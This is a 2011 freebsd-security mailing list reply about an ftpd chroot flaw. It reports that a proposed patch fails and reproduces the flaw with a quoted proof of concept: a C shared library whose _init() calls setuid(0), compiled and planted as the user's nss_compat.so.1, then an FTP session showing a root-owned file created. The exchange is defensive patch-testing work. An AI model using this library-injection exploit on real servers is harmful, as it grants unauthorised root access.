ftpd security issue ?
Mike Tancsa
mike at sentex.net
Thu Dec 1 01:01:19 UTC 2011
On 11/30/2011 7:01 PM, Xin LI wrote:
>
>> BTW. This vulnerability affects only configurations, where
>> /etc/ftpchroot exists or anonymous user is allowed to create files
>> inside etc and lib dirs.
>
> This doesn't seem to be typical configuration or no?
I think in shared hosting environments it would be somewhat common. For
annon ftp, I dont think the anon user would be able to create / write to
a lib directory.
>
> Will the attached patch fix the problem?
>
> (I think libc should just refuse /etc/nsswitch.conf and libraries if
> they are writable by others by the way)
It does not seem to prevent the issue for me. Using Przemyslaw program's,
#include <stdio.h>
#include <fcntl.h>
void _init() {
setuid(0);
setgid(0);
FILE *fp = fopen("/newfile", "w+");
fprintf(fp, "%d %d\n", getuid(), geteuid());
}
cc -o dummy.o -c dummy.c -fPIC ; cc -shared -Wl,-soname,dummy.so -o
dummy.so dummy.o -nostartfiles ; mv dummy.so
~testuser/lib/nss_compat.so.1 ; chown testuser ~testuser/lib/nss_compat.so.1
ftp localhost
Trying 127.0.0.1...
Connected to localhost.
220 vmtest.localdomain FTP server (Version 6.00LS) ready.
Name (localhost:mdtancsa): testuser
331 Password required for testuser.
Password:
230 User testuser logged in, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||62436|)
150 Opening ASCII mode data connection for '/bin/ls'.
total 106
-rw-r--r-- 1 1002 1002 763 Nov 30 15:17 .cshrc
-rw------- 1 1002 1002 193 Nov 30 16:36 .history
drwxr-xr-x 2 1002 1002 512 Nov 30 16:05 etc
-r-xr-xr-x 1 0 1002 95076 Nov 30 19:50 ftpd
drwxr-xr-x 2 1002 1002 512 Nov 30 19:56 lib
-rw-r--r-- 1 0 1002 79 Nov 30 16:34 t.c
-rwxr-xr-x 1 0 1002 24 Nov 30 16:37 t.sh
226 Transfer complete.
ftp> dir
229 Entering Extended Passive Mode (|||50577|)
150 Opening ASCII mode data connection for '/bin/ls'.
total 108
-rw-r--r-- 1 1002 1002 763 Nov 30 15:17 .cshrc
-rw------- 1 1002 1002 193 Nov 30 16:36 .history
drwxr-xr-x 2 1002 1002 512 Nov 30 16:05 etc
-r-xr-xr-x 1 0 1002 95076 Nov 30 19:50 ftpd
drwxr-xr-x 2 1002 1002 512 Nov 30 19:56 lib
-rw-r--r-- 1 0 1002 4 Nov 30 19:58 newfile
-rw-r--r-- 1 0 1002 79 Nov 30 16:34 t.c
-rwxr-xr-x 1 0 1002 24 Nov 30 16:37 t.sh
226 Transfer complete.
ftp>
the file created is root
--
-------------------
Mike Tancsa, tel +1 519 651 3400
Sentex Communications, mike at sentex.net
Providing Internet services since 1994 www.sentex.net
Cambridge, Ontario Canada http://www.tancsa.com/
More information about the freebsd-security
mailing list